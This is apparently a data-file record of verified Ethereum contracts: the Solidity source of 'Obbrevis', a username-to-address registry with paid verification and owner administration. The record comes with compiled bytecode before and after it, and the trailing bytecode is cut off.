02081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7491906114a3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fd89190611451565b60405180910390a350505050565b600081359050610ff58161189d565b92915050565b60008135905061100a816118b4565b92915050565b60006020828403121561102257600080fd5b600061103084828501610fe6565b91505092915050565b6000806040838503121561104c57600080fd5b600061105a85828601610fe6565b925050602061106b85828601610fe6565b9150509250929050565b60008060006060848603121561108a57600080fd5b600061109886828701610fe6565b93505060206110a986828701610fe6565b92505060406110ba86828701610ffb565b9150509250925092565b600080604083850312156110d757600080fd5b60006110e585828601610fe6565b92505060206110f685828601610ffb565b9150509250929050565b60006020828403121561111257600080fd5b600061112084828501610ffb565b91505092915050565b611132816114f9565b82525050565b6111418161150b565b82525050565b600061115282611487565b61115c8185611492565b935061116c81856020860161154e565b61117581611611565b840191505092915050565b600061118d602383611492565b915061119882611622565b604082019050919050565b60006111b0601383611492565b91506111bb82611671565b602082019050919050565b60006111d3602a83611492565b91506111de8261169a565b604082019050919050565b60006111f6602283611492565b9150611201826116e9565b604082019050919050565b6000611219602883611492565b915061122482611738565b604082019050919050565b600061123c602583611492565b915061124782611787565b604082019050919050565b600061125f602483611492565b915061126a826117d6565b604082019050919050565b6000611282601683611492565b915061128d82611825565b602082019050919050565b60006112a5602583611492565b91506112b08261184e565b604082019050919050565b6112c481611537565b82525050565b6112d381611541565b82525050565b60006020820190506112ee6000830184611129565b92915050565b60006020820190506113096000830184611138565b92915050565b600060208201905081810360008301526113298184611147565b905092915050565b6000602082019050818103600083015261134a81611180565b9050919050565b6000602082019050818103600083015261136a816111a3565b9050919050565b6000602082019050818103600083015261138a816111c6565b9050919050565b600060208201905081810360008301526113aa816111e9565b9050919050565b600060208201905081810360008301526113ca8161120c565b9050919050565b600060208201905081810360008301526113ea8161122f565b9050919050565b6000602082019050818103600083015261140a81611252565b9050919050565b6000602082019050818103600083015261142a81611275565b9050919050565b6000602082019050818103600083015261144a81611298565b9050919050565b600060208201905061146660008301846112bb565b92915050565b600060208201905061148160008301846112ca565b92915050565b600081519050919050565b600082825260208201905092915050565b60006114ae82611537565b91506114b983611537565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114ee576114ed6115b3565b5b828201905092915050565b600061150482611517565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561156c578082015181840152602081019050611551565b8381111561157b576000848401525b50505050565b6000600282049050600182168061159957607f821691505b602082108114156115ad576115ac6115e2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e6572206f6e6c792066756e6374696f6e00000000000000000000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206d757374206265206c6573732060008201527f7468616e206c696d697400000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e73666572206661696c656400000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6118a6816114f9565b81146118b157600080fd5b50565b6118bd81611537565b81146118c857600080fd5b5056fea2646970667358221220d148045ef11d8df1dd39abf0586be538949e0c08984e80b76fc7b0aa4a67c07964736f6c63430008010033
{"success": true, "error": null, "results": {}}
7,483
0x47ef4f59a08f126df6b3f8e432c9fc8104404791
/** *Submitted for verification at Etherscan.io on 2021-08-12 */ //SPDX-License-Identifier: Obbvrevis Ware /** * This code/file/software is owned by Obbrevis and Obrevis only. * All rights belong to Obbrevis. * Only Obbrevis authorizes the use of this code. * **/ pragma solidity 0.8.4; /** * @title Obbrevis Core * @dev Maps an address to username * **/ contract Obbrevis { struct State { bool isInitialized; // If Contract is initialized and used to power on or off the app address ownerAddress; // owner address selfAddress; // address of contract uint256 verificationFees; // Verification Fees in WEI uint256 maxArrayBuffer; // Max length of an array uint256 maxPageBuffer; string version; } struct AddressUsernamePair { address useraddress; bytes32 username; bool isVerified; } struct User { bool init; address useraddress; // User Address bytes32 username; // Username bool isVerified; // If user is verified } address ownerAddress; address selfAddress; mapping(address => User) addressToUser; mapping(bytes32 => address) usernameToAddress; mapping(address => bool) authorizedUsers; address[] mappedAddresses; mapping(bytes32 => bool) blockedUsernames; State contractState; constructor(uint256 _verificationFees) { ownerAddress = msg.sender; authorizedUsers[msg.sender] = true; contractState = State({ isInitialized: false, ownerAddress: ownerAddress, selfAddress: address(0), verificationFees: _verificationFees, maxArrayBuffer: 1000, maxPageBuffer: 1000, version: "1.0.0" }); } // Utils function _validateUsername(bytes32 _username) private pure returns(bool) { uint8 stringLength = 1; uint8 i = 1; // Checking is the first character is a letter [a-z] if(_username[0] >= 0x61 && _username[0] <= 0x7a) { // Starting form the second character. for(i = 1; i < 32; i++) { // Check the length of the string. if(_username[i] == 0x00) { if(stringLength < 3) return false; else return true; } // Check if the second+ characters are [a-z][0-9][_] if(!(_username[i] >= 0x61 && _username[i] <= 0x7a)) { if(!(_username[i] >= 0x30 && _username[i] <= 0x39)) { if(_username[i] != 0x5f) return false; } } // Increment counter. stringLength++; } } return false; } function _withdrawETHToOwner(uint256 _amount) private returns(bool) { payable(ownerAddress).transfer(_amount); return true; } function _checkExistingPairFromAddress(address _address) private view returns(bool) { bytes32 savedUsername = addressToUser[_address].username; address savedAddress = usernameToAddress[savedUsername]; if(_address == savedAddress) return true; return false; } function _checkExistingPairFromUsername(bytes32 _username) private view returns(bool) { address savedAddress = usernameToAddress[_username]; bytes32 savedUsername = addressToUser[savedAddress].username; if(savedUsername == _username) return true; return false; } function _checkExistingPair(address _address, bytes32 _username) private view returns(bool) { if(_checkExistingPairFromAddress(_address) && _checkExistingPairFromUsername(_username)) { bytes32 savedUsername = addressToUser[_address].username; address savedAddress = usernameToAddress[_username]; return ((savedUsername == _username) && (savedAddress == _address)); } return false; } function _checkUsername(bytes32 _username) private view returns(bool) { // Check if username is blocked. if(blockedUsernames[_username]) return false; // Check if the username is used. if(usernameToAddress[_username] == address(0)) return true; return false; } function _mapAddress(address _address, bytes32 _username, bool _verified) private returns(User memory) { require(_validateUsername(_username), "Error 400: Invalid Username."); require(_checkUsername(_username), "Error 500: Username is taken."); // Check if address has an old user object. User memory oldUser = addressToUser[_address]; /** * If User object is initialised? * TRUE: Free the old username to Address mapping. * FALSE: Meaning the user is fresh so increament address Counter **/ if(oldUser.init == true) { usernameToAddress[oldUser.username] = address(0); addressToUser[_address].username = _username; usernameToAddress[_username] = _address; } else { addressToUser[_address] = User({ init: true, useraddress: _address, username: _username, isVerified: _verified }); usernameToAddress[_username] = _address; mappedAddresses.push(_address); } return addressToUser[_address]; } // External Functions function mapAddress(bytes32 _username) external returns(User memory) { require(_username != bytes32(0), "Error 400: Invalid Username"); require(contractState.isInitialized, "Error 503: Contract not Initialized."); return _mapAddress(msg.sender, _username, false); } function verify(bytes32 _username) external payable returns(User memory) { require(_username != bytes32(0), "Error 400: Invalid Username"); require(msg.value >= contractState.verificationFees, "Error 400: Insufficient Verification Fees."); require(contractState.isInitialized, "Error 503: Contract not Initialized."); require(_checkExistingPair(msg.sender, _username), "Error 500: Invalid Address-Username Pair."); require(!addressToUser[msg.sender].isVerified, "Error 500: User is already verified."); _withdrawETHToOwner(msg.value); addressToUser[msg.sender].isVerified = true; return addressToUser[msg.sender]; } // Getters and Setters function getAddress(bytes32 _username) external view returns(address) { require(_username != bytes32(0), "Error 400: Invalid Username"); require(_checkExistingPairFromUsername(_username), "Error 500: Username! Invalid Address-Username Pair."); return usernameToAddress[_username]; } function getUser(address _address) external view returns(User memory) { require(_address != address(0), "Error 400: Invalid Address"); require(_checkExistingPairFromAddress(_address), "Error 500: Address! Invalid Address-Username Pair."); return addressToUser[_address]; } function getUserByUsername(bytes32 _username) external view returns(User memory) { require(_username != bytes32(0), "Error 400! Invalid Username"); require(_checkExistingPairFromUsername(_username), "Error 500: Username! Invalid Address-Username Pair."); return addressToUser[usernameToAddress[_username]]; } function getUsernamesByAddresses(address[] calldata _addresses) external view returns(AddressUsernamePair[] memory) { require(_addresses.length <= contractState.maxArrayBuffer, "Error 400: Too many input"); uint256 i; AddressUsernamePair[] memory res = new AddressUsernamePair[](_addresses.length); for(i=0; i<_addresses.length; i++) { res[i].useraddress = _addresses[i]; User memory tempUser = addressToUser[_addresses[i]]; if(tempUser.init) { res[i].username = tempUser.username; res[i].isVerified = tempUser.isVerified; } else res[i].username = bytes32(0); } return res; } function getAddressesByUsernames(bytes32[] calldata _usernames) external view returns(AddressUsernamePair[] memory) { require(_usernames.length <= contractState.maxArrayBuffer, "Error 400: Too many input"); uint256 i; AddressUsernamePair[] memory res = new AddressUsernamePair[](_usernames.length); for(i = 0; i < _usernames.length; i++) { res[i].username = _usernames[i]; address tempAddress = usernameToAddress[_usernames[i]]; if(tempAddress != address(0)) { User memory tempUser = addressToUser[tempAddress]; if(tempUser.init) { res[i].useraddress = tempUser.useraddress; res[i].username = tempUser.username; res[i].isVerified = tempUser.isVerified; } else res[i].username = bytes32(0); } else res[i].useraddress = address(0); } return res; } function getNumberOfAddress() external view returns(uint256) { return mappedAddresses.length; } function validateUsername(bytes32 _username) external pure returns(bool) { require(_username != bytes32(0), "Error 400: Invalid Username"); return _validateUsername(_username); } function checkUsername(bytes32 _username) external view returns(bool) { require(_username != bytes32(0), "Error 400: Invalid Username"); require(contractState.isInitialized, "Error 503: Contract not Initialized."); return _checkUsername(_username); } function getCurrentState() external view returns(State memory) { return contractState; } function isAuthorizedUser(address _address) external view returns(bool) { require(_address != address(0), "Error 400: Invalid Address"); return authorizedUsers[_address]; } // Owner and Authorized Methods /** * Initialize method to initialize the contract. * **/ function power(bool _power) external returns(State memory) { require(msg.sender == ownerAddress, "Error 401: Unauthorized Access."); contractState.isInitialized = _power; return contractState; } function initialize(bytes32 _ownerUsername, address _selfAddress, bytes32 _selfUsername) external returns(bool) { require(msg.sender == ownerAddress, "Error 401: Unauthorized Access."); require(_ownerUsername != bytes32(0), "Error 400: Invalid Owner Username"); require(_selfAddress != address(0), "Error 400: Invalid Self Address"); require(_selfUsername != bytes32(0), "Error 400: Invalid Self Username"); selfAddress = _selfAddress; contractState.selfAddress = selfAddress; // Manually map owner address _mapAddress(ownerAddress, _ownerUsername, true); _mapAddress(_selfAddress, _selfUsername, true); contractState.isInitialized = true; return true; } function authoriseUser(address _address, bool _state) external returns(bool) { require(msg.sender == ownerAddress, "Error 401: Unauthorized Access."); require(contractState.isInitialized, "Error 503: Contract not Initialized."); authorizedUsers[_address] = _state; return authorizedUsers[_address]; } function withdrawETHToOwner(uint256 _amount) external returns(bool) { require(msg.sender == ownerAddress, "Error 401: Unauthorized Access."); require(_amount > 0, "Error 400: Invalid Amount! Amount must be greater than 0."); return _withdrawETHToOwner(_amount); } // Before Blocking a Username, first check with _checkUsername() if the username is used, blocked or not. function blockUsername(bytes32 _blockUsername, bytes32 _newUsername) external returns(bool) { require(authorizedUsers[msg.sender], "Error 401: Unauthorized Access."); require(_blockUsername != bytes32(0), "Error 400: Invalid Username"); require(_newUsername != bytes32(0) && _newUsername != _blockUsername, "Error 400: Invalid Username"); // Check if the username is free else map the current holder to another username if(!_checkUsername(_blockUsername)) { // Check if address has an old user object. address currentAddress = usernameToAddress[_blockUsername]; _mapAddress(currentAddress, _newUsername, false); } blockedUsernames[_blockUsername] = true; return true; } function unblockUsername(bytes32 _blockedUsername) external returns(bool) { require(authorizedUsers[msg.sender], "Error 401: Unauthorized Access."); require(_blockedUsername != bytes32(0), "Error 400: Invalid Username"); blockedUsernames[_blockedUsername] = false; return true; } function usernameSwap(address _fromAddress, bytes32 _fromUsername, address _toAddress, bytes32 _toUsername) external returns(User memory, User memory) { require(authorizedUsers[msg.sender], "Error 401: Unauthorized Access."); require(_fromAddress != address(0), "Error 400: Invalid Address"); require(_toAddress != address(0), "Error 400: Invalid Address"); require(_fromUsername != bytes32(0), "Error 400: Invalid Username"); require(_toUsername != bytes32(0), "Error 400: Invalid Username"); require(contractState.isInitialized, "Error 503: Contract not Initialized."); require(_checkExistingPair(_fromAddress, _fromUsername), "Error 500: Invalid From Address-Username Pair."); require(_checkExistingPair(_toAddress, _toUsername), "Error 500: Invalid To Address-Username Pair."); addressToUser[_fromAddress].username = _toUsername; addressToUser[_toAddress].username = _fromUsername; usernameToAddress[_fromUsername] = _toAddress; usernameToAddress[_toUsername] = _fromAddress; return(addressToUser[_fromAddress], addressToUser[_toAddress]); } function getMappedAddresses(uint256 _page) external view returns(address[] memory) { require(authorizedUsers[msg.sender], "Error 401: Unauthorized Access."); require(_page >= 1, "Error 400: Invalid Page Number."); uint256 i; uint256 j = 0; address[] memory res; uint256 lowerLimit; uint256 upperLimit; uint256 tempUpperLimit = _page * contractState.maxPageBuffer; if(mappedAddresses.length < tempUpperLimit) { if(mappedAddresses.length < contractState.maxPageBuffer) lowerLimit = 0; else lowerLimit = (_page - 1) * contractState.maxPageBuffer; upperLimit = mappedAddresses.length; // If an unvailable page is requested lowerLimit will be greater than upperLimit if(lowerLimit > upperLimit) return res; // If lowerLimit == 0, then you should requesting for only page 1 if(lowerLimit == 0 && _page > 1) return res; } else { lowerLimit = (_page - 1) * contractState.maxPageBuffer; upperLimit = tempUpperLimit; } uint256 resLength = upperLimit - lowerLimit; res = new address[](resLength); for(i = lowerLimit; i < upperLimit; i++) { res[j] = mappedAddresses[i]; j++; } return res; } function authorizedMapAddress(address _address, bytes32 _username, bool _isVerified) external returns(User memory) { require(authorizedUsers[msg.sender], "Error 401: Unauthorized Access."); require(_username != bytes32(0), "Error 400: Invalid Username"); require(contractState.isInitialized, "Error 503: Contract not Initialized."); return _mapAddress(_address, _username, _isVerified); } function authorizedVerify(address _address, bytes32 _username) external returns(User memory) { require(authorizedUsers[msg.sender], "Error 401: Unauthorized Access."); require(_address != address(0), "Error 400: Invalid Address"); require(_username != bytes32(0), "Error 400: Invalid Username"); require(_checkExistingPair(_address, _username), "Error 500: Invalid Address-Username Pair."); addressToUser[_address].isVerified = true; return addressToUser[_address]; } function unVerify(address _address, bytes32 _username) external returns(User memory) { require(authorizedUsers[msg.sender], "Error 401: Unauthorized Access."); require(_address != address(0), "Error 400: Invalid Address"); require(_username != bytes32(0), "Error 400: Invalid Username"); require(_checkExistingPair(_address, _username), "Error 500: Invalid Address-Username Pair."); addressToUser[_address].isVerified = false; return addressToUser[_address]; } function setVerificationFees(uint256 _verificationFees) external returns(State memory) { require(authorizedUsers[msg.sender], "Error 401: Unauthorized Access."); contractState.verificationFees = _verificationFees; return contractState; } function setMaxBuffer(uint256 _maxArrayBuffer, uint256 _maxPageBuffer) external returns(State memory) { require(authorizedUsers[msg.sender], "Error 401: Unauthorized Access."); if(_maxArrayBuffer > 0) contractState.maxArrayBuffer = _maxArrayBuffer; if(_maxPageBuffer > 0) contractState.maxPageBuffer = _maxPageBuffer; return contractState; } }
0x6080604052600436106101665760003560e01c806366f83e51116100d157806397d3becb1161008a578063fa3d394411610064578063fa3d39441461063c578063fc65b76314610679578063fd978e49146106b6578063fe2da970146106f357610166565b806397d3becb14610585578063e6899fd5146105c2578063ec17e13a146105ff57610166565b806366f83e51146104245780636dddd1aa146104615780636f77926b1461049e57806370523425146104db57806375e366161461051857806380187f7d1461054857610166565b80632ef96521116101235780632ef96521146102c7578063309e879b14610304578063378aa7011461034257806339c48d231461036d5780633d21f8ef146103aa5780635bfeb1c3146103e757610166565b80630f6765831461016b57806312ad0c7f146101a857806316f3e9ea146101e557806321561a9e1461021057806321f8a7211461024d57806328faac021461028a575b600080fd5b34801561017757600080fd5b50610192600480360381019061018d9190614a71565b610730565b60405161019f9190615166565b60405180910390f35b3480156101b457600080fd5b506101cf60048036038101906101ca9190614a71565b610839565b6040516101dc9190615166565b60405180910390f35b3480156101f157600080fd5b506101fa6108e3565b6040516102079190615468565b60405180910390f35b34801561021c57600080fd5b5061023760048036038101906102329190614ae9565b6108f0565b6040516102449190615166565b60405180910390f35b34801561025957600080fd5b50610274600480360381019061026f9190614a71565b610aa0565b6040516102819190615107565b60405180910390f35b34801561029657600080fd5b506102b160048036038101906102ac9190614894565b610b6b565b6040516102be9190615166565b60405180910390f35b3480156102d357600080fd5b506102ee60048036038101906102e99190614a03565b610cfa565b6040516102fb9190615144565b60405180910390f35b34801561031057600080fd5b5061032b6004803603810190610326919061490c565b61120b565b60405161033992919061543e565b60405180910390f35b34801561034e57600080fd5b506103576117fc565b6040516103649190615401565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f9190614a71565b61198d565b6040516103a19190615166565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc91906149be565b6119e5565b6040516103de9190615144565b60405180910390f35b3480156103f357600080fd5b5061040e60048036038101906104099190614b25565b611dd8565b60405161041b9190615401565b60405180910390f35b34801561043057600080fd5b5061044b60048036038101906104469190614a71565b612001565b6040516104589190615423565b60405180910390f35b34801561046d57600080fd5b50610488600480360381019061048391906148d0565b6120b4565b6040516104959190615423565b60405180910390f35b3480156104aa57600080fd5b506104c560048036038101906104c0919061486b565b61238a565b6040516104d29190615423565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190614b4e565b612531565b60405161050f9190615401565b60405180910390f35b610532600480360381019061052d9190614a71565b612779565b60405161053f9190615423565b60405180910390f35b34801561055457600080fd5b5061056f600480360381019061056a91906148d0565b612a86565b60405161057c9190615423565b60405180910390f35b34801561059157600080fd5b506105ac60048036038101906105a79190614a9a565b612d5c565b6040516105b99190615166565b60405180910390f35b3480156105ce57600080fd5b506105e960048036038101906105e4919061496f565b612ff3565b6040516105f69190615423565b60405180910390f35b34801561060b57600080fd5b506106266004803603810190610621919061486b565b613133565b6040516106339190615166565b60405180910390f35b34801561064857600080fd5b50610663600480360381019061065e9190614b25565b6131f8565b6040516106709190615122565b60405180910390f35b34801561068557600080fd5b506106a0600480360381019061069b9190614a48565b613532565b6040516106ad9190615401565b60405180910390f35b3480156106c257600080fd5b506106dd60048036038101906106d89190614b25565b613770565b6040516106ea9190615166565b60405180910390f35b3480156106ff57600080fd5b5061071a60048036038101906107159190614a71565b613854565b6040516107279190615423565b60405180910390f35b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166107be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b5906151a1565b60405180910390fd5b6000801b821415610804576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fb90615321565b60405180910390fd5b60006006600084815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b60008060001b821415610881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087890615321565b60405180910390fd5b600760000160009054906101000a900460ff166108d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ca90615241565b60405180910390fd5b6108dc82613a04565b9050919050565b6000600580549050905090565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661097e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610975906151a1565b60405180910390fd5b6000801b8314156109c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bb90615321565b60405180910390fd5b6000801b82141580156109d75750828214155b610a16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0d90615321565b60405180910390fd5b610a1f83613a04565b610a6a5760006003600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050610a6781846000613ab0565b50505b60016006600085815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60008060001b821415610ae8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adf90615321565b60405180910390fd5b610af182613fe1565b610b30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2790615181565b60405180910390fd5b6003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf3906151a1565b60405180910390fd5b600760000160009054906101000a900460ff16610c4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4590615241565b60405180910390fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6060600760030154838390501115610d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3e906153c1565b60405180910390fd5b6000808484905067ffffffffffffffff811115610d8d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610dc657816020015b610db3614697565b815260200190600190039081610dab5790505b509050600091505b8484905082101561120057848483818110610e12577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135818381518110610e52577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516020018181525050600060036000878786818110610ea1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611172576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff161515151581525050905080600001511561111e578060200151838581518110611039577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080604001518385815181106110b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160200181815250508060600151838581518110611103577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151604001901515908115158152505061116c565b6000801b83858151811061115b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160200181815250505b506111ec565b60008284815181106111ad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b5081806111f890615674565b925050610dce565b809250505092915050565b6112136146d3565b61121b6146d3565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e906151a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611317576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130e90615301565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137e90615301565b60405180910390fd5b6000801b8514156113cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c490615321565b60405180910390fd5b6000801b831415611413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140a90615321565b60405180910390fd5b600760000160009054906101000a900460ff16611465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145c90615241565b60405180910390fd5b61146f8686614080565b6114ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a590615201565b60405180910390fd5b6114b88484614080565b6114f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ee906151c1565b60405180910390fd5b82600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555084600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550836003600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550856003600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020816040518060800160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff1615151515815250509150806040518060800160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff16151515158152505090509150915094509492505050565b611804614718565b60076040518060e00160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160028201548152602001600382015481526020016004820154815260200160058201805461190690615642565b80601f016020809104026020016040519081016040528092919081815260200182805461193290615642565b801561197f5780601f106119545761010080835404028352916020019161197f565b820191906000526020600020905b81548152906001019060200180831161196257829003601f168201915b505050505081525050905090565b60008060001b8214156119d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cc90615321565b60405180910390fd5b6119de8261416e565b9050919050565b6060600760030154838390501115611a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a29906153c1565b60405180910390fd5b6000808484905067ffffffffffffffff811115611a78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ab157816020015b611a9e614697565b815260200190600190039081611a965790505b509050600091505b84849050821015611dcd57848483818110611afd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190611b12919061486b565b818381518110611b4b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600060026000878786818110611bc8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190611bdd919061486b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff1615151515815250509050806000015115611d6b578060400151828481518110611d02577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160200181815250508060600151828481518110611d50577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516040019015159081151581525050611db9565b6000801b828481518110611da8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160200181815250505b508180611dc590615674565b925050611ab9565b809250505092915050565b611de0614718565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e63906151a1565b60405180910390fd5b8160076002018190555060076040518060e00160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282015481526020016003820154815260200160048201548152602001600582018054611f7890615642565b80601f0160208091040260200160405190810160405280929190818152602001828054611fa490615642565b8015611ff15780601f10611fc657610100808354040283529160200191611ff1565b820191906000526020600020905b815481529060010190602001808311611fd457829003601f168201915b5050505050815250509050919050565b6120096146d3565b6000801b82141561204f576040517f08c379a000000000000000000000000000000000000000000000000